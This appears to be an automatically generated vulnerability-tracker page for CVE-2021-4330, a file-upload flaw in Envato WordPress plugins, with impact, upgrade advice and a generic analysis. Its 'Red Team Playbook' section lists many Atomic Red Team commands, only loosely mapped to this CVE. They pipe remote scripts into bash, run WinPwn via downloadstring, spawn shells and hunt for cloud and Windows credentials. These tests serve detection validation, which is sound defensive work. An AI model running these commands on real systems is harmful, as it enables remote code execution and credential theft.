CVE-2021-4330
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types during the extraction process of uploaded Zip files. The affected components are the installFreeTemplateKit and uploadTemplateKitZipFile functions within the Envato Elements & Download and Template Kit – Import WordPress plugins. The root cause lies in the failure to properly verify the contents of Zip archives before processing, allowing unauthorized file types to be introduced into the system.
Vulnerability Description
The Envato Elements & Download and Template Kit – Import plugins for WordPress are vulnerable to arbitrary file uploads due to insufficient validation of file type upon extracting uploaded Zip files in the installFreeTemplateKit and uploadTemplateKitZipFile functions. This makes it possible for attackers with contributor-lever permissions and above to upload arbitrary files and potentially gain remote code execution in versions up to and including 1.0.13 of Template Kit – Import and versions up to and including 2.0.10 of Envato Elements & Download.
Impact
An attacker with contributor or higher privileges can upload arbitrary files, including executable scripts, leading to potential remote code execution on the affected WordPress installation. This enables unauthorized code execution within the web server context, risking full site compromise. The attack requires authenticated access with contributor-level permissions or above but no user interaction beyond file upload. The CVSS vector (AV:N/AC:L/PR:L/UI:N) reflects network attack with low complexity and privileges required but no user interaction.
Solution
Users should upgrade Envato Template Kit – Import to version 1.0.14 or later and Envato Elements & Download to version 2.0.11 or later, where the file validation issue has been addressed. Detailed patch information and version updates are documented in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/68fe17e2-d5ab-4ebd-a5c6-d65cea327abd) and the WordPress plugin changelogs referenced. No official workarounds are provided; immediate updating to the fixed versions is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Envato Elements and Template Kit – Import plugins for WordPress arises from inadequate validation of file types during the extraction of uploaded Zip files. Specifically, the functions responsible for handling template uploads, namely installFreeTemplateKit and uploadTemplateKitZipFile, fail to properly verify the contents of the Zip files. This oversight allows users with contributor-level permissions or higher to upload arbitrary files, including potentially malicious scripts. The lack of stringent file type checks means that an attacker could exploit this weakness to upload executable code, leading to remote code execution on the server hosting the vulnerable WordPress installation.
Exploitation of this vulnerability can occur through several attack vectors. An attacker with the requisite permissions can create a Zip file containing malicious payloads disguised as legitimate files. Once uploaded, the server may execute these files due to the absence of proper validation, granting the attacker control over the affected environment. This scenario could unfold in various contexts, such as a compromised website being used to launch further attacks, distribute malware, or exfiltrate sensitive data. The ease of exploitation, combined with the potential for significant impact, underscores the critical nature of this vulnerability.
The real-world implications of this vulnerability are profound, particularly for organizations relying on the affected plugins for their WordPress sites. Successful exploitation could lead to unauthorized access to sensitive information, defacement of websites, or even the complete takeover of the server. The business risks associated with such incidents include reputational damage, loss of customer trust, and potential legal ramifications stemming from data breaches. Furthermore, the financial implications of remediation efforts and potential downtime can be substantial, making it imperative for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. First, regular audits of installed plugins and their versions are essential to ensure that any known vulnerabilities are identified and remediated. Organizations should also implement strict access controls, limiting permissions to only those necessary for users to perform their roles. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests and provide an additional layer of security. Lastly, keeping all software, including plugins and the WordPress core, up to date is crucial in minimizing exposure to known vulnerabilities.
In conclusion, the vulnerability affecting the Envato Elements and Template Kit – Import plugins represents a significant risk for WordPress users. The combination of inadequate file validation and the potential for remote code execution creates an environment ripe for exploitation. Organizations must take proactive measures to detect, mitigate, and remediate this vulnerability to safeguard their digital assets and maintain the integrity of their online presence. By prioritizing security best practices and staying informed about emerging threats, businesses can better protect themselves against the evolving landscape of cybersecurity risks.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Envato | Envato Elements | All |
cpe:2.3:a:envato:envato_elements:*:*:*:*:*:wordpress:*:*
|
|
|
Envato | Template Kit - Import | All |
cpe:2.3:a:envato:template_kit_-_import:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-4330 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/68fe17e2-d5ab-4ebd-a5c6-d65cea327abd |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2617529%40envato-elements&new=2617529%40envato-elements&sfp_email=&sfph_mail= |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/68fe17e2-d5ab-4ebd-a5c6-d65cea327abd?source=cve |